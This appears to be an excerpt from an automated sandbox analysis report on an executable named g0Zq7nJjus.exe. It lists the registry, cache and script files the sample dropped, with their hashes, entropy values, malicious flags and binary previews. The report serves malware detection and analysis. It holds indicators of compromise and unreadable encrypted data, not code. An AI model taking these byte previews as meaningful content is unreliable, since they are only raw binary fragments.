SSDEEP:	192:hEsYm0V8UxojzoGYxubC6NdUYAQRATQoa/Z+QPDGu:hEsPrOojzDWuW6bzlyTsRDT
MD5:	BAE34CAE6AF3786F5BEC7B6DB3CBD206
SHA1:	4F19F7212017E1984B1AFE77E314C32ACE5DE4D3
SHA-256:	9F5B84B8E189EDF7280FCC7530BA617BBAEF09A4A69D4794B36EF35D1C2665E1
SHA-512:	76FDF7F2C92EB278FDACFB52D9B8075F8688F67DBA8CBCBEB6FB0FE5402F12CA84138E2731E3C72A36A5B356202D22F289FC1FED815BB3237E97EE17852096A2
Malicious:	false
Preview:	regf..#X.8..>.G..Bm.....@.teh}..DL.......b........zU1OF.....5.@./.pp....B.sz_[7.=.B...@F......?....D_.3-.,..[c......yr.".........H....0l..j...k.&.2/..i.tP.x..'{d....\.-$]hd.....k..E9.1ZD.m..\|4...~.ba...].m4..C...... \.h}..~1.....X;...... ..b..&..b..\|..9.G....^-...!"......u]..8w....Q k....H..}.~F.".....!6....1.~..Q..%.4{..2.ea.#.I........9.......a.\39-....L.-.v.c..........k.....(.2....-.]...y..(..1......O............N)....7..#y.....d.?.....}.....+...+.D...MI5.......b.....Y........H~.E.\..,..7}..q.....R.n...1..j..wlD.\|......?.+}b......'..".........l... .\|........S.e......i...s..@..MK..{.H.R.W...y.......\|...~..K.u ..."Ep....[.p........Y.2?.....>....u........>..b..A>z.G...BS....f.N2../j.!i...i.:..L.j%..$:d@.ra.b4:.pI..]...2..^.....E..b..\e.X,.Q.0..{t?)..A.B=..\O..X..1.Wz...-.q...W...O.X.\2.S......J{..(.{<i.> }yj{fu$.G.kk..H.W..-..?A-......D..b.X.u..4y_...ZD.9z...`.....+4.d.,+V....b.[Vf.N.....cy..a.....cU...D..n.....@.-.<

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976330626529976
Encrypted:	false
SSDEEP:	192:AVYyoqWPk/DG74U5eYdf2QkET1Hrfi4X5Nl7r:Byo/k/DEeIFnpi4Xh
MD5:	79DDF6C7F67E2CF8BE99458235FC3CC6
SHA1:	5F5B20B9E6DB9928D61972F8303DD4784F150F37
SHA-256:	C526E88D1498D06FB2251BB8DCEA633C2AAD67EFD4A19A87DD5CE095523F5E95
SHA-512:	CBC2D17BC932F5CC0BE12903634E76079C57568DC64058D0C4681F365AE657BAE0759C2C7A9B01D17F318A1909F316898B72EEFD107442569250DD3CFD1C56BC
Malicious:	false
Preview:	regf..H...Y .8n_....Q?g.Q.`j.ZS4..'...1}.,..........o..H...E..n..pJ@...5Z.xX6.P.R.\|.....v.:...i.L..>m7...U...nT....H{!.>. f.6..CN...9.....n..%._.W...)g..LC.2.wb....:.t....V."z..N.L.......an.P.....jF.5s..)g(c.K).u.....k..Vo..5._...z.U.4...AHy.5...~..%o.R..`...Z@~..n..h^......AzB.k..:n.Bv...S\|.....e.K..l.o\......@V`3....w....f.....+....U.v..OZ./...Vm.M.g..py....tu.[& .......%....#O6X.&.bs.M@.......qdN..;4...lF..yz.1..m..B...a.....`.cG..h......`.Y.q...1.r...<f5x.....PCOt.....D..P.D..9.=.....%....B.Z..Ce.}x...=]...3..4.T?O"~.E..@sEB.[.&.y....)./.g...Y.T....$TNt.=..;~0i...?.@J..,.?.....y.\|M(."_....(.q..%7....n.....O..`.-;.d.8...iM\|\|f}.{dI....Io5.8......8C.c.)....}[...;'....=....T......I...?...9....O..G.]..).I..1..........]...q.q.b..dng......A7......Y...l:C......w...Qty.`.!.:$'}.....C.B.\<i7....M.L{X.....6^....\|.....`.c..P...G!.o.9..9..4.XH4........H.0..(.2.._........j..E.h.HZ8n..h...CG...yEV........G..p...D.L...M.Y.!k....<Y.u...C.?.=.F....L(.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977836084435559
Encrypted:	false
SSDEEP:	192:roapccVOwn5GaUjQrsOlEHQ8SX/3RFJPv0/PGASx:0apf/GFJ6PRPa+AC
MD5:	A4AAB8418403E6CA587E3DBA36972969
SHA1:	3C36455ECFFBD87F9129741F73A09A70184E8009
SHA-256:	D0150EA7227F3C1FB13461F6C51956EA33D0612570D88320ADAA587934B2A017
SHA-512:	340190971C3102724526C32672CF9FD4C74C58045E2E50D435A6AC87622D097210171EDA634848E6707C10F263A894060124E1BA65D49D9FA49F59B07262D65B
Malicious:	false
Preview:	regf..w.@.f8....o...ZcI.{..X....U.&....zG..%..d..7&....&.4.7..(i.N.g......5.Ww.l..99&...TN.b. Zdx.:.3C.....z..~.....z..%l.."..3..$=.W".m?....Gs..i3J.Lu^.RO.z...i(..A.}ly.G....,C..1....9.,... P...R8p.o..Od.@?.x......&(#.H.F.n...b.d....O...Bg.j...F<.w.$^...\.v..x}...2...j......\.WC..+..-R.3.I[rLNc......t.m..R.........u.gq.....N.W..a5....y......F...}.z6.x.&...l..E.K..o.2..P~.p44...<..s...i....R.`.1.....!.@..P...s.........9..a ...1-.-v.>NP.'8..WI..\..b../?..#.>...6...Z...F....gJ<....jh<.....mD......,...M.A.M......X...+..N.......KJ..JA..a.}[n!.2.&'.....~..gE..........F."..!A.S'....{..so..T.@...M.".P(..SF..,.8..6M~....x%....;...;621.x..@.y...o+.(..@...+...6.2..:.2..&....t.m..S.........RH....'b}M..\q.5.2=D.Ls.A(.C8Z]...m..H1.H.b.0(..x>..YQ...'.e.....\|^.;#.a&.N...GM...Yq.DJY]z2=.k..i..?..g.Pl..I~....6!;....h.+...+.sX..q.O....ol..IM.."...b..["d5F.)..c.%..A.Ryxx.......D.....jDR.Z0x}...3...\...<8m.m.7".........\....-a.8.W`..[.....`...O...J

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.330219819355141
Encrypted:	false
SSDEEP:	3072:NqH2g98kbRSCSwEIkEAAoG6AEvtzkJkIRZweil2wYsO9IegaJ0aE:wB98WSRwEmAFVtzNIRZe1p3
MD5:	081EAF37A510815AB38E4139A32D7952
SHA1:	AED47A394D1BE25ACC479FAE7DC51A938593E71D
SHA-256:	64EC23981656339382EF891EA1E980BEBE93DB221AD78BAB66A2E71EF0860592
SHA-512:	6D5D3C0FD57A9C6A0501ABF6BF873D61C5F1FF3483141D92943B3C66135C3AB921D5F6211A11919C3D3A833CF9EDEEB055048072C1101ACB8CF2976A10FF5122
Malicious:	false
Preview:	..`...V.{..3.../u(..%.z.X.R.Y..z3.;.Z)]kr.....?....\|......f.......z.~.V`x.=.-v". ..Z...?..E.-..X.Y..A....0$D...Y.jh..Q^j..6.V.~........B....?R.d....S(>.....[.o.~.....q..4.B.....T.b...:....~S...7..y..N5..}....t.,].l..0.......6.....Sb.,....J....']._..f.=H.p.A..#.&...p..G.P?...NA..#.......~)........@.-h.~PE$...\.X ..'"..........lK.U.........X.aN..'$_..c.../...U....j.......@U..1.vY...>...1.D.b..L.13..z..}.ao....i:.......fjR&Lx.N........s.-.t..~.....0x..DWM...@.&.IH.4...:.Y.'.r.`...9z..O.Vd..x.m.O!.`b...s.fQ~..`0......7.0..vF.z.\.L.l..J9..%._.X./.B.7.....e..J.cp.U......&..z.._e.Q%K.0>..;4..2......88.e...K}....r..Gk.$...?.3.W..v. x......Y.oX^?.."...:?^..U...a.UCFEm.......9.'c.Al...8..J.Af.V...5g.>..Iz..1...].....ti.&..*l...1d3..O..L'..G.3.......}.. .'..OdD_.....;.{...z)....dl.,'.9]d3....I.e....{.....cM....G~.....~?!...C...:...Pt.2H.!fi..'...E7..".1...?5..\|..../Mp.........)\|.._...d...........0...@.V.".toJ]5>.#..5)...pm.A...V...B.7.o@z0.#..5.'A.!..;.,d

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9890588397052875
Encrypted:	false
SSDEEP:	384:noyboPbC78RHEkJG7QJYzjcNKFHt2Tx8W6p1yBC5Id1k:pbQbCKE31zjc9Tx8fUBCmk
MD5:	9D4D12A4EC092D690E827F167C3803FD
SHA1:	AEA366363193A5551BC011AD19713182ABFAEA64
SHA-256:	92E76D3B79F39C2183AC0265F8B3CC0180CA806F9A4339B4763B8FFC4150EF5E
SHA-512:	4F27238184262EDCB9020057DC13B009A7695299E9DEEECCECC2AF20222A9AFB0CA82B1BDFC2F2237EB319037F692C5CE1F47AFD7A68F8354106BAF44BE2D92B
Malicious:	false
Preview:	..d.......PUW\|..#..@<.., X...F.~Gp;#.....[]~N..`..)^L<..t..t.A.a..WEn,;;./.qu...ZE.$.K)JJ..[ok...<......F..W<...B...1..`'....A[...z .A0.o.....C......M.!/E.......r:LFa.n.B>.3..3.A..$Z..v..c.......:...h_.n."....;Y.@...$.....4.=.p71Ni.=.}X..l..`...<..A..H7!..^p9.HfS.6JF:.....2../7.Dh8..o.'..zC....),...l..;5.JB.%e$.......P...M.~."V..F.!^,.Co...G.%q....t..i..w.ej....P0......2.....U...2=.Y.p/&.Q&..c...3".T4..~.._\A.c`9....8...P..Q....y[.Ir..t.....L". ?....s...TU.x.N.......H.zkk.).L...T).eU;$..g.u.....%&UW.._q..E.+.......Q.F.....<iC...sv.#F5.y...p.K.<.....[.x2.k...[...Q.`G.._....I..1..ZmG...[...J.....?....x:....}....Q.ew........[.^...j.H......{vV....qb>>5..?'v......ewCT..8..#@<...+%js.z\|.&C.......U.=./H....R.o#...=..=..T..I......K.......v..i.KQ....g.{tbn.b...Z.'....o.......&.B..:sK..zVc.G..;U.E.k....W....x.B..Ow..D.U..<S*..LT...{...@......T.h.=^s.>%<W. +C.z1....._9{i.7.>c...di.....r......u..,........M.J...>.@...........[.(...4..vD.L.4J....'.v..+..+.+

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\73e95c97-d13d-4e4d-a445-357cf0e165a8.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	964
Entropy (8bit):	7.788903564145225
Encrypted:	false
SSDEEP:	24:Q/NDZ6iRml85taaIHGk4DgDVqcYRdyIaSelkMZ4J3qoMWKM9Gbmfw42bD:Q9kkmlmalIftzyDdC3NVAD
MD5:	C9EB7E574F90086A53A4573162C6E36D
SHA1:	2CC5D57CBF6EBD805E5524A31261F63D92122FDA
SHA-256:	D07761E3CA774F4B89EA89D60C858530B52B7B2A85CDFD0482671AD684F0538E
SHA-512:	F1425B6387F4E34ACB8F1DD4672DFA473C9A6C4A11E9955E13BD3D45231D99C37CAFD24CDC3DC4DB213333AC69EA97CB0C221CFC7EA4E16C9A9E81E9B0DA2EBA
Malicious:	false
Preview:	........6...=o.i..9z.-Ff...i..z.y^.1..a.........m.Eh..$..~....".n.!}..........g.R....\|..MLX.......].....^...r.".S......Wq.......Zi.......#.2..@..{...}U.._d...R/...!.ij.S..q.....Xz..Z...A.j.W.-..f\|..K....u]OK..m4,.....=..d.......(.......Vp...X.c.(.!.i.g..4@.'..<. ..1....P..=w.1....}.Ul....c%.....Z....N.W...M@D....B.....P.{..zwGz.f..?..m.cd..+........=.o ...qh..W9.U1..:...?...i.......5.....^...$.....<..g..L/...{...?.v. .$..5.J.U.K...'g. .&:...j..).W...;$......5n..R.$~...y5y.....l.5.D.3.. \|?..PnE.....(R.t.....&PO.M.[.r..\..EIq;...8.....f.\|=]...F~P..:,&R...7C...`H....9."r~tZ. .a.....x\I.....A.?.y$.5..........s...y..g.e..';..^.@..I;?W'.......Um..6....P....%?.S.x.&7..$.c.....]....8/....,.I..7<.k......O.b6..(n........X..a..p.\...,.g..p...9.n.H;^u.e9~.N<.S.....4...#..\../...9.r...w.Bg..B.J.m....P.w.U.).n.^.+W..0.&.l. .)..;..VV..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\8d2da5ff-e847-42a6-87e2-e9e8a16d200d.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	964
Entropy (8bit):	7.795662958901079
Encrypted:	false
SSDEEP:	24:oJi3MfCjjV6vu33NpHp0qsOGDBuX+KBRgisNS2bD:iiOCQGHNpJLQ4OKzcNpD
MD5:	00D8E16940EC10A6E0405357144E2354
SHA1:	6F32AEFFAA33A643DF9153A8094E2654C1F8EA79
SHA-256:	3A24D612994AB96390B03E4132CA8FC5223449A796E295D2967AC5F01C164C4A
SHA-512:	4DC3C189C0E37EE299F3934457099BD00462A97117575C6C24B339C6D5D9A1C6EFD806CDC86A09A14545657A8386BE1F533352A457820DEB29904243EBD41F0A
Malicious:	false
Preview:	.......CZ`=.dx.P..H48..:...YLp..H....2r...H.l#..1F.Lx<.EN...r...L:.....z....bG;>S...}`;....E..lI....[.E.w.....$..h.....T..........>....6{.-V=.Y..-_.a...V8...^...n..p.h."../....k..........tR.....$.F..Z..t.t...q[..N=d.P...[...w..W.$.=...B.&....U....^JDev2...n.k`O.}....b....j_.]&...x.q.:<...H..K`~.I.3.;..^#:.\|'s...Ll...3..\......'..M.j....RL.L.#r....T...v....t.-..A.m1..(.6..$..u..7O. .JG._s..N..A.......!]..+.!g......m....~+.oQ.u...s.R.u.F$.RD.rrO.E..h.CF..-.".Ao./.O.c.tYN{ht. ...i.._.]..z.x...`X.C0GN.x..,...3.o....D{"..(......5....v...._,.62.rj.h.....u>...v&<.y&4b$.F.......Zh..=A.}...#"`.%\|JE#d....3.!..Z...t.Rm9..P....`..!w/_W.qS.....o...........C.V.R...2..!..%.......p.(...._.,.B.hy/.......b...YtF..n#.3..ma.2...,.RYF@...s.Q.w1{..EB....^.Lo?......:...`*.:........Q...........&...Z..\|.."..].c.t.Qc..C..;A.`..T.&..."...29........w.e.'.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\TokenBroker\Cache\e71e1300703d5395820e448840a760f0dd25ad50.tbres

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3084
Entropy (8bit):	7.934035610813203
Encrypted:	false
SSDEEP:	96:a6EQFJkQka4XAwEV2h4VZvZ3M0Y1TVNZNN/KSMOIL:XESZgOgac0YZVZN0L
MD5:	F9A91699FEADDBC7E74EEB8A46030AA9
SHA1:	6F8AE81714FB2867075E3D96D9D066322F12A4F5
SHA-256:	ABE3E9797A25BF0D44E71D948A95476A49492C909C6F7ADB38B098C565C97AC8
SHA-512:	E202893C3E290E26E06DBBA1268EC2585C1BDE4A55CB922AAFD0EC7CE6FDA2C03F83B3E159BAD853A639C776EC858B0C31655BC86D7D47F0332B722B58D9DD13
Malicious:	false
Preview:	{.".To'.........PC...1T.}.;.M&.....z....W.g^..d0.".a....Q.~o..3......e..D.....\|..#...t..........O<...Zr.@.....YY.$Z.D..:#z.pv...R....'.".C../W..)Lw.:...h..G..v;DE.....G.?9.U..T.=v8&...Z.n..3."...=8...u..Qj.....^..^..'..Z.=N..!......C..g..;.\.I.s....\|S\G..I..(N...B..-}B@z.A..hv...&..0d. ..4s.MEj.=..3...Y.-.>.2.w....a.}U.._F...wkL...h...0.........'.t.h.m.r.z.-..`.X.qC..[,8].:.I.CM..S..(..t{...f{....M{H.6.BS.V.tD.XS.%.gZ....ba.Y%. +7...<Q.)..T7{u0H.z/y.."....-....+..gZf....t)W.l......~J.1.^.^n1]dF..tr....2~$b..........y.o..?OZ.......D...u.v.k"e.Q...<1H.]:.G.D.[>b...P......E.+..wD]....c...s......,.B.Tzi.M..e.=.5..#JpI...?...r1.......~...e..8r.<..V....2.U.G_.....Y.... ..6..[.Ho"c....@y...#../..&e+............a...}6..$......Y..V....n=.3.....r..dr..Q..-.&.J...f..o..O.?e.E.y.........*%0.H..G.g......SF..?...OS.r ..Dl...].mnV.#9...(...:..4..Z...3....Rt)....;...&L...mYE..p..........S...AYH.......G..H9..d........}..Fy..`E.A..f5..........S.b,....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\-U2ww19iycr3M_DiD25JdVUDdqk.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	91794
Entropy (8bit):	7.998248513978925
Encrypted:	true
SSDEEP:	1536:ho+UilvfqzK78L8ebYOEJ4afM1p8+yGmwUkP3qi3D6ALSHC8regmlekybR4mm:++UihW48L8aM4r1p8+gkCieAui/wbbRo
MD5:	496147290CEC2B3EF1D151A2F6E63524
SHA1:	A3A6597293D464D5997866AFC6CDB2231C240611
SHA-256:	4B3029EBA49B7F6FADEB456217A38AB200945669287A495C236635CB20A2BED0
SHA-512:	E45B4DBA69DCE84F2332C7469F8003BCAC41187AFBB3920035A0E2E2BE22224AF4B81875B4AA98AAD9DAB7A21D87804C724C6CF2724074D0CE378DDDC25287AA
Malicious:	true
Preview:	var W....&..gE....w....w.,\.....i!.A~F.......'~.YY......m..6y..n-"...>..M:.s.X...M.c7..&.N.zm..".M3....`t.8T.....eCn^.......8.~1.h.j..81....H... .6^g......;T..R.....`>...R3.<1.S........Y.Mw0..q.......-.Ov.39.'.....T..6A........X............p..o.8y.n.E.X`S...c_g8..l.........C./.v..K../.<.'....G.RFn.F......C.:..~..............s.tG8.b......%&u.>G\|`..}Z.rl'A.25fj...C...<..\|.....E2.......57....F\..eI%...B...K......7...F.F.7..{b/G.+!...c.~.Z.%.>~..K\.'R..D._.]"...x.b......Kz1....t.. .L...dB..#~z....T...w.. .C....B.9.(al.n...0....3...e.%.0....U.F)^......!...g...[[. .L......(...5~..+ZCnT'.W1@,...D$.......z.SfP.pt\|8..b.D.2.<.x].9.......9..8.....c%@....bJ..w.:U<wJ.YNc.S.. .XyEq...R..X>"..,8@......FNRI..B.1@.p........X....=..Lk...RB....%..)..%:..v..?.............)v..Cs..7.<...3[......-TSf.'....]...f.-..o.VP.!]~.s..kYn..b....N.1+D]o..V.0/..&.x...\|..}.;;p..t'...E.,.[7.nv.X.t.......\|....?%....P..E}wg..._o.Q...f..o._...I......+.[...y

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\1dU-gngnSbFHyDXzxcnjLbIIJkA.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	15202
Entropy (8bit):	7.9862468754505205
Encrypted:	false
SSDEEP:	384:TIWfeWR4QPBrBnuyz5hefSJjYSq0vOng4R0:TIWWWl6yzbekMSq0vEg4e
MD5:	DF7DA025D8B704B56EE459E828887B3E
SHA1:	EB361EB45E76E3C5C26F46F9521D60BC48F0C10D
SHA-256:	1A1E417B2593F05DDE7CA608F0BE12018F9ABC5B0BB2CA0C5F6060892774285F
SHA-512:	2B0024CB7F698F7CC09357EC61EB12187BD45962DC6DD4950E47E7F0D5AB7BA8AD06CB20055442AA0CF064D42A493D731AEC6D1921887BF78BFD7E590303791D
Malicious:	false
Preview:	var We.Q.....8O.W<.O......4Rx..2......b+/.o...V.g.a......J...[...B?.J.[.. .N..T...-......3.\|2.=..y...TLh.x^.fp.B0..F./&w.b.....5.B.'0.G]J.SV..m....a.m~H......DP8..'..?..Z.w.....U..W._...Q.e.=..N..!u.T-e...8.G.G..^M.rr...h.8...W2....G... ?.<..7H\|..8P..7....K..BHBk.\.........Z%x...j.3../(S.U.j...b.._{.3..3...@Xn....B.Zf./9.8.#....9...y...........v...]..!.f....4....K..&Z.3,...5..qc]......Xk.[^ .w...Y.....7^..j.d..tY.L..i..........U~2I..../[f..<.....s......o;q.5...e2.JKvH&...t...Q..[/..=.s..F.>OGH.K.Bq.........{..,..VP..Z.).....eh`..x..q.l..g..H.e5-.......g+........8.\|V;...F..^$z.xB.......l.....=.P.9..6......':...L.u.}.7!!...4<..x.9..bG~\|.@T......."........p..c.q@.....F............P\|].I..u..#9.i.]u.7.&........J...sI2:\|...y....V..W.\.....c.y...w....@.....U.j.8...Q..(O.xE..l..qj...2.7..#.,2..g./..}....Jv.T.t........W..{[..O0....x.c8gTeXPm..._k......mu/Y...#..B.Ni...hZ..).s.....(M(.?V{.Ne.....EH..~.}..cX.N...........R41.HS.a.H..5

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\4BpQ1bD8vX1mXuJObN-gg9RqkyQ.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1284
Entropy (8bit):	7.85590697410015
Encrypted:	false
SSDEEP:	24:ZZ1OlEp/cmGO0qfs708d3egYPqnoNFHVCqwxFNvBtA6bB3N/Kcg6fO7IG2bD:ZZ1OlU/VMPV/YPqojNw/NpPNic7m4D
MD5:	C3098D47384777F6CAC2F0473F097297
SHA1:	6A5502AC047803128E54D1F7387230A68838698B
SHA-256:	468860A31BA23ECCA6B728880AFD73DC2A206AA86B5DB47CB365CB1603E3C03E
SHA-512:	F28CB426F8065F5DC6B2861DE81B7C2AFB14636D393E593CFE778D53D1CE2574BD34C0DF66EDD6F79CF01437FB8299046415EE197C33712883D908756E09F632
Malicious:	false
Preview:	var Wn..dK._.3.....0.T.V.I....u..(.R80..P!b}.%EY...8..;.!..0.m.\|...[4.'-D...+Ic.Zuq...x.....5'..;.c&....w'..bt,.E...M.....-M7L..q...~..T3..4..F.A!.H.I.9..{s\.k.5A`(..8#.L...T....R7Pk....2 n..=.vK~...m.K..@..e.$...>..9Y.E)`...X..!.d._h=......J........J`.T.f.5..pu.z:......]9.....,..........._.}...(..v.#.K.d}.Nn....lQ..+\|/Fq.S....D!=...\|.<RD.W...[..f.u...H..z.\.4..P.../.....B...sg.i...i.=.[<.....:vF...R...]..NY\H."V....j........J..#uT...`.z.E.p.u...U..p..............z..}.L:/i.Gv.&..`\3.......y...e7.}.VIE....D6{$.F8]..5%.9f...,Ja..Dw..WvM4...D.M.......r........B...J^..?P.H)n...6....v.,..8bG/.z..B.....S.w...{n.f..t..L..!.....^{h ..6.....@...d..}.r.Q..x6STc........A..<Q#.L-/.....n.....p..\|dw.B.n...m..0Q..-2...-b .@t..>.T-PN..\|._....db.yZ....2{;.Y.9B2-T.Fx....pZ@..w.r......uZ...;...W...O~SE..1(.......,c<..O...8^.f.szS...../.........20K......W.......5$.".%.^W..i.'?Q.._..Ll.....b.....~...kD.A.x.aJ.em..I?...xz.PF-.R.L.cb.,~B......w_...v.c....B

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	45781
Entropy (8bit):	7.995455846626724
Encrypted:	true
SSDEEP:	768:lwPU8RyLg34/SE/FqulZrdkmGVokHAZuYhNbt659NVL5vibcpzMY+DV:lwsW4xbNqubuFBsrhC/UceY+x
MD5:	DEF88F58FF677C550D0D095A1BC8BDE9
SHA1:	070E1E687309E737ED02CD8B6B2B898D113CCB52
SHA-256:	F2D3929F0980C4C0F4D8D411B5270184C2E2E86CFF5B9DD630533F54F34B411A
SHA-512:	4324C7798886077056CA34204F2CCB8188447F6B6841E47593DA764D503637D3F2515AC82B771741C7E0F66E480D9F7A072B2A223E636AB8ECA86B79437BBDDC
Malicious:	true
Preview:	var W..i..F.YC..I.....Y.C..G.k.<Xi.w.y.).3..-"..\oy..lel.........]`@.ng..P....'c........C4....g.V.......jZ......6b.Mcl.82..3.f.......-..&u....L..&.j.m.....7.R.J...9....8M..h4PE..7G..t.R..=.V...h......y..f..P.i..(f`#.A..l..8....?.iu8..>....-.K2#D..L...(.v.xWcL......>....f......L%..f._.......}....C.#d..wL`.#.3.......X.Q..W..s=.....\|....^...K/o..q.V%.,.<...+..}.(.6y....d.E'..9..+......3sQ....R...J..b.S$....e.$}l.<...mnU>......_p@Ou4.fQ.,..8+.#...^.e..P.G.......=.J.i...B.'C.eSSt.C....DI...J.......c.:.......}(#..l....@.U..%...lM.p...K.fc8N.7z..X..kpA^SN.}h..v..u...h....w..v...].f...VC.XU..H.P...\a.c.N...1#8..%..^.O.;.....^..X..1R....c9m].d.-o.v0H.ON.....b.......4u.M.M..8..3..E......;........).....f.O....Q....Zu7.....c...y...&Leb...Vu...MY.h...gx.6N.,1.\|......b.&.YD.6.E.[....Ao..s=.......3....[..t.f....>}..._."@....<b.s.Rsx...Q...#....p...../v....}......T.j.1.q2 ...%.l...T.Pe.2.......}A.B.;......f.....Ox.\'.T......^.VLvq...#.B}.gl[....I'..it..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\58urCM4ERwTmgZF8atjxpMnY4I4.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	349229
Entropy (8bit):	7.126746248793635
Encrypted:	false
SSDEEP:	6144:885UlM6NvoAYOv7FF8uMkzhbwnf0NPC8Qib3fb7hWjHs:/IDjYsRF8uGiZ
MD5:	7F0247133E825A2A8C3D119B73B57B8C
SHA1:	9B916E5BDE3FF1FA093094F75C7B0280583DF332
SHA-256:	0F7DB090F52D55CFA19E537FAC4402600A68E4AF3868FC3F6E7BE3AFCAEFAEB6
SHA-512:	D5531F5F097FAD8BB61DB7EC771E685867D0DD91907A84BE38C30C8F9F77B07B560F9545E0B8401B2C4DFA5FBCED74BFEEB12027C51672F7A70F0428B2539FF2
Malicious:	false
Preview:	var W.....U}B.m.....'/....P[...uc.b....0oP.....v..H.yt....}3.t4.+.6.)eP...>..j+2...}+..T.9ag...;../.I._..#~.lZ...N...?,N..~.E.N........S..-.X[7i..!D..!....%.............S.bi.^S14..dAgx9{...zZ.t.r4.ix-..lTQ.%.q=..y`..Kg......lK.k...1.mb,....`.DsM2<f..U&.......a0.}n.m...{.o.\...:....2..>l..6h......(.p.]U..!.......0.Y..{...M....>..Ab.....Hk$ez....1....Di...+..f{K.....k`r.w.....px..7...(..QVy..).!.x..b.B@..k... ..._v...h$.+@.z[.D.\...A..l[..8.7..].!ko.Fa..p..MP.....<.M.0.).t..#..$.7 %@.kI.t..JX\|s....'..!.\|P.....k.}rN...K.Y........D.D..9\U.H`2..eu......9..Tm.z.....$1.7E./y..IL..O.#.bE .=c......)L...;;(..F{.P..I..H+./@.M....B.............>..z.......0.6...1.j<.].A...N.'...IX,E.p.H=.n....9f.60..............X..R..lE..`..i.Q.....,Y{.....]./. ..2.[f..I...qf./Vu.c.cRJ..Gg.T......m.<..\.!l...`..TsS.SH^..i.&.p8..,...9.y.Y.i.@...#J.....(....N.HxT.rv......o......ox....H\|...V...>..qD.F.Q...\L..Q.W..<$#+X.^.y...b.Kh.U-q..k.bpn..N%.R0..F..,

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\5_KhThI0onehz_-3sl58j0dOeLI.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	127792
Entropy (8bit):	7.9986641746233245
Encrypted:	true
SSDEEP:	1536:oTWE8GIfrZYCwqxfAqYDeP5n9XvYE5Lg2GUr/nZ4cTDBrfcxPHYP0w3LnWMLPVo9:mWbJr4zSPHXvVBfr/ZvRcxmndPqAnmdR
MD5:	3165D9984D841EBDA56F7F452C04B386
SHA1:	56800DAFD073BCD57DC5ADC249EB38DC1A110A0B
SHA-256:	4CBBB26C863BFE54CBA31E4033B431A56948526E33C0DD14E6EB68FC1CD248DC
SHA-512:	5940B1C68366E9AF7FEF44194D590D7E1DB8DD73EF6982496667078A9882EDA0BEC8077759363B69BE626FDAB784E6AC86E295047EC884823187BBF8BC15BDDE
Malicious:	true
